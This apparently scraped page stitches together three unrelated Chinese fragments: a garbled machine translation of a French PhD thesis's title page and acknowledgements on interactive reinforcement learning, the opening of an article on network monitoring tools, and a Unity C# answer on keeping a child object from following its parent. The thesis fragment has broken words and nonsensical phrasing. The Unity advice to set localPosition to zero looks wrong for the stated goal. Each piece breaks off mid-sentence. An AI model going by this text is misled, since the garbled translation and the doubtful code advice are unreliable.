多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动，互动学习以行动为中心的强化学习学会互动，互动学习，以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授：智囊团论文联合主任菲利普·普雷教授，大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授，Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士，Deepmind对于那些及时看到自己错误的人...3谢谢你首先，我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔，"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲，你知道在这篇论文的（许多）错误中，你是我可以依
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网络监控工具使用宝典：实时追踪网络状况的专家级技巧

![网络监控工具使用宝典：实时追踪网络状况的专家级技巧](https://docs.itrsgroup.com/docs/geneos/5.8.0/Resources/Images/netprobe/netprobe-api-images/image2_xml-rpc_api_-_user_guide_and_technical_reference.png) # 1. 网络监控工具概述 网络监控工具是确保网络稳定性和安全性不可或缺的组成部分。在这一章节中，我们将概述这些工具的重要性、工作原理以及它们如何帮助IT专业人员提高网络性能和安全性。 ## 1.1 网络监控工具的定义 网络监控工具
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unity 实现子物体不跟随父物体移动和旋转

在Unity中，如果你希望子物体独立于其父物体的位置和旋转，你可以通过设置子物体的`Transform.parent`属性或者使用`Transform.localPosition`、`localRotation`等属性来实现。 1. **直接设置位置和旋转**： - 如果你在脚本中控制子物体，可以编写如下的代码片段来让子物体保持其相对于父物体的局部位置和旋转： ```csharp childObject.transform.localPosition = Vector3.zero; // 设置为相对于父物体的原点 childObject.transform